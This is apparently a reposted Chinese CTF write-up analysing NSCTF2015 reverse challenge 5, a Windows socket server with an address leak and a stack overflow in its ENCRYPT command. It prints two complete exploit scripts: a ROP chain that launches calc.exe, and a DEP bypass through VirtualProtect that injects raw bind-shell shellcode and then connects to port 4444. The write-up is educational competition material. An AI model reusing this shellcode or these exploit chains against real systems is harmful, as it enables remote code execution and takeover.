NSCTF2015 逆向第五题分析

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NSCTF2015 逆向第五题分析相关的知识,希望对你有一定的参考价值。

这道题目我没有写出Exploit,因为编码时候里面几个细节处理出错。但对程序的逆向分析已完成,这里就学习一下别人写Exploit的思路。主要参考:绿盟科技网络攻防赛资料下载

0x01 题目要求

题目要求如下:

1.找出Exploit.exe中的漏洞。简单分析漏洞的成因,包括漏洞类型、相关的反汇编或伪C代码以及说明信息等。

2.在开启DEP+ASLR的系统里运行Exploit.弹出计算器。

0x02 漏洞分析

首先脱掉ASPack壳,OEP如下:

技术分享

使用IDA分析,发现这是一个Socket server程序,监听在2994端口。支持三个命令:ENCRYPT、STATUS和EXIT

main函数中大都是Socket的逻辑代码,其中重点需要关注这2个函数:ShellExecuteA()和sub_401120()。

以下是sub_401120()函数主要代码:

技术分享

观察发现,STATUS命令的处理中打印了内存地址,存在一处Information Leakage漏洞。

接下来分析ENCRYPT命令的处理逻辑,即sub_401120()函数,它主要调用sub_401030()函数,我们将其重命名为encrypt()

技术分享

encrypt()函数做了两件事,一是使用rand()函数产生一个随机字符数组keys,二是将传入数据与keys异或后拷贝给大小为200bytes的栈内存。

而我们可以传入的数据最长可以是0XFFFF,显然超过200字节,因此这里会造成栈溢出。

技术分享

0x03 漏洞利用Exploit

由于题目要求在开启DEP+ASLR的系统上成功执行Exploit,因此想到两种利用方法,一是通过VirtualProtect()关闭DEP,栈上注入shellcode执行。二是构造ROP链绕过ASLR+DEP。

无论哪种利用方法,首先要解决的问题是,我们传入的数据都会被encrypt()函数加密,也就是与keys的异或操作,而keys又是通过rand()随机生成。因此输入的数据首先要进行逆编码。好消息是,这里使用的rand()是以时间作种子的伪随机,其值可以预测。

方法二、ROP Bypass ASLR+DEP

下面代码是第二种,通过ROP实现的Exploit(学习作者思路时稍有修改):

import socket
import telnetlib
import struct
from time import time
from subprocess import *

s = socket.socket()
s.connect((127.0.0.1, 2994))
f = s.makefile(rw, bufsize=0)

welcom = s.recv(1000)
print welcom

#0X00
seed = time()
out = check_output("rand.exe {}".format(int(seed)), shell = True)
tmp_1 = out[:-1].split(,)
keys = list()
for i in tmp_1:
    tmp_2 = i.split( )
    tmp_3 = tmp_2[1]
    tmp_3 += tmp_2[0]
    tmp_4 = int(tmp_3, 16)
    keys.append(tmp_4)

#0X01
s.send("STATUS\\n")
text = s.recv(1000)[-11:]
text = int(text, 16)
print  + GET ADDRESS  + hex(text)

#0X02
payload = ""
payload_1 = "\\x00" * 512
payload_1 += struct.pack(I, text + 0x1001) # mov eax, esp; ret
payload_1 += struct.pack(I, text + 0x1284) # push 5ACH (_sprintf_s())
for i in range(len(payload_1)/4):
    payload += struct.pack(I, struct.unpack(I, payload_1[i*4:i*4+4])[0] ^ keys[i & 0x1F])

s.send("ENCRYPT \\x08\\x02{}".format(payload))
esp = s.recv(1000)[-11:]
esp = int(esp, 16)
target = esp + 0x1A     #why 0x1A?
print  + GET ADDRESS  + hex(target)

#0X03
payload = "calc.exe\\x00\\x00\\x00\\x00"
payload_2 = "\\x00" * 500
payload_2 += struct.pack(I, text + 0x153B)    #stack of ShellExcuteA()
payload_2 += struct.pack(I, target)
payload_2 += "\\x00\\x00\\x00\\x00"
payload_2 += "\\x00\\x00\\x00\\x00"
payload_2 += "\\x05\\x00\\x00\\x00"

for i in range(len(payload_2)/4):
    payload += struct.pack(I, struct.unpack(I, payload_2[i*4:i*4+4])[0] ^ keys[(i+3) & 0x1F])

print  + EXPLOITING...
s.send("ENCRYPT \\x14\\x02{}".format(payload))
s.recv(1000)

由于Python的rand()函数与Windows库函数实现不一样,因此要调用C库函数。这里作者没有将其集成到Exploit代码里,而是写了一个C程序,通过命令行与之通信:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) 
{
    int i;
    char out[10000];
    char tmp[100];
    unsigned long int seed;
    seed = atol(argv[1]);
    srand(seed);
    for (i = 0; i < 32; i++) {
        sprintf(tmp, "%04x %04x,", rand(), rand());
        strcat(out, tmp);
    }
    printf("%s", out);
    return 0;
}

以上利用过程分3步:

1.通过STATUS泄漏程序基地址,后面构造ROP Gadgets时可以通过它直接对指令寻址。

2.通过STATUS泄漏ESP地址。通过分析GetModuleHandleA代码可知道,其返回值存储于eax寄存器,而代码中又有一处mov esi, eax. 因此只要执行一段mov eax, esp; retn或mov esi, esp; retn 的Gadgets,然后跳转到push 5ACh处执行,就可以实现泄漏ESP的地址。

技术分享

通过观察发现,helper()函数中恰有此指令。

技术分享

3."calc.exe"字符串入栈,并重构ShellExecuteA函数栈,完成利用。

技术分享

溢出后跳转到.text:0040153B处执行,其中ShellExecuteA函数后4个参数,由我们在栈上提供。

技术分享

方法一、VirtualProtect关闭DEP

第一种方法中,helper(void)函数中提供了一处VirtualProtect指令可供使用:

技术分享

贴一个关闭DEP利用的思路,来自@Chu同学:

#coding: utf-8

from pwn import *

HOST = sys.argv[1]


conn = remote(HOST, 2994)
conn.newline = "\\r\\n"

# get header
conn.recv()

# get addr
log.info("try to get the base addr")
conn.sendline("STATUS")
base = int(conn.recv().strip()[-10:], 16)
log.success("base addr => {}".format(hex(base)))

# first encrypt, to get the table
log.info("send the first packet, try to get the table")
conn.sendline("ENCRYPT \\x80\\x00" + "A"*0x80)
conn.recv(3)
table_enc = conn.recv(0x80)
table = []
for c in table_enc:
    table.append(ord(c)^ord(A)) 
log.success("Table:")
for c in table: 
    print hex(c),
print

# second encrypt, exploit!
log.info("send the second packet, try to exploit it")
payload = "A" * 512

# save esp to eax, ebx
payload += pack(base+0x1001)
payload += pack(base+0x1004)

# point ebx to shellcode
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)
payload += pack(base+0x1015)

# point eax to parameter1
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x100e)
payload += pack(base+0x3814)
payload += pack(0x4)
payload += pack(base+0x5c0a)

# modify parameter 1
payload += pack(base+0x1007)

# point eax to ret addr & modify ret
payload += pack(base+0x100a)
payload += pack(base+0x1007)

# call VirtualProtect
payload += pack(base+0x101b)

payload += "AAAA"
payload += "BBBB"
payload += pack(0x200)
payload += pack(0x40)
payload += pack(0x00010000)
payload += "\\x90" * 200

# shellcode for bind shell
payload += "\\xfc\\xe8\\x82\\x00\\x00\\x00\\x60\\x89\\xe5\\x31\\xc0\\x64\\x8b"
payload += "\\x50\\x30\\x8b\\x52\\x0c\\x8b\\x52\\x14\\x8b\\x72\\x28\\x0f\\xb7"
payload += "\\x4a\\x26\\x31\\xff\\xac\\x3c\\x61\\x7c\\x02\\x2c\\x20\\xc1\\xcf"
payload += "\\x0d\\x01\\xc7\\xe2\\xf2\\x52\\x57\\x8b\\x52\\x10\\x8b\\x4a\\x3c"
payload += "\\x8b\\x4c\\x11\\x78\\xe3\\x48\\x01\\xd1\\x51\\x8b\\x59\\x20\\x01"
payload += "\\xd3\\x8b\\x49\\x18\\xe3\\x3a\\x49\\x8b\\x34\\x8b\\x01\\xd6\\x31"
payload += "\\xff\\xac\\xc1\\xcf\\x0d\\x01\\xc7\\x38\\xe0\\x75\\xf6\\x03\\x7d"
payload += "\\xf8\\x3b\\x7d\\x24\\x75\\xe4\\x58\\x8b\\x58\\x24\\x01\\xd3\\x66"
payload += "\\x8b\\x0c\\x4b\\x8b\\x58\\x1c\\x01\\xd3\\x8b\\x04\\x8b\\x01\\xd0"
payload += "\\x89\\x44\\x24\\x24\\x5b\\x5b\\x61\\x59\\x5a\\x51\\xff\\xe0\\x5f"
payload += "\\x5f\\x5a\\x8b\\x12\\xeb\\x8d\\x5d\\x68\\x33\\x32\\x00\\x00\\x68"
payload += "\\x77\\x73\\x32\\x5f\\x54\\x68\\x4c\\x77\\x26\\x07\\xff\\xd5\\xb8"
payload += "\\x90\\x01\\x00\\x00\\x29\\xc4\\x54\\x50\\x68\\x29\\x80\\x6b\\x00"
payload += "\\xff\\xd5\\x6a\\x08\\x59\\x50\\xe2\\xfd\\x40\\x50\\x40\\x50\\x68"
payload += "\\xea\\x0f\\xdf\\xe0\\xff\\xd5\\x97\\x68\\x02\\x00\\x11\\x5c\\x89"
payload += "\\xe6\\x6a\\x10\\x56\\x57\\x68\\xc2\\xdb\\x37\\x67\\xff\\xd5\\x57"
payload += "\\x68\\xb7\\xe9\\x38\\xff\\xff\\xd5\\x57\\x68\\x74\\xec\\x3b\\xe1"
payload += "\\xff\\xd5\\x57\\x97\\x68\\x75\\x6e\\x4d\\x61\\xff\\xd5\\x68\\x63"
payload += "\\x6d\\x64\\x00\\x89\\xe3\\x57\\x57\\x57\\x31\\xf6\\x6a\\x12\\x59"
payload += "\\x56\\xe2\\xfd\\x66\\xc7\\x44\\x24\\x3c\\x01\\x01\\x8d\\x44\\x24"
payload += "\\x10\\xc6\\x00\\x44\\x54\\x50\\x56\\x56\\x56\\x46\\x56\\x4e\\x56"
payload += "\\x56\\x53\\x56\\x68\\x79\\xcc\\x3f\\x86\\xff\\xd5\\x89\\xe0\\x4e"
payload += "\\x56\\x46\\xff\\x30\\x68\\x08\\x87\\x1d\\x60\\xff\\xd5\\xbb\\xf0"
payload += "\\xb5\\xa2\\x56\\x68\\xa6\\x95\\xbd\\x9d\\xff\\xd5\\x3c\\x06\\x7c"
payload += "\\x0a\\x80\\xfb\\xe0\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00"
payload += "\\x53\\xff\\xd5"

# xor payload
offset = ‘‘
for i in xrange(len(payload)):
    offset += chr(ord(payload[i])^table[i%128])
conn.sendline(ENCRYPT \\xf0\\x08+offset)

# close the connection
conn.close()

# interact
conn = remote(HOST, 4444)
log.success("enjoy!")
conn.interactive(prompt="")
conn.close()

 

以上是关于NSCTF2015 逆向第五题分析的主要内容,如果未能解决你的问题,请参考以下文章

欧拉计划第五题

PAT甲级第五题--1005 Spell It Right

第五题

看雪CTF 2016_第五题分析

第四届CCF软件能力认证(CSP2015) 第五题(最小花费)题解

《剑指offer》第五题(重要!从尾到头打印链表)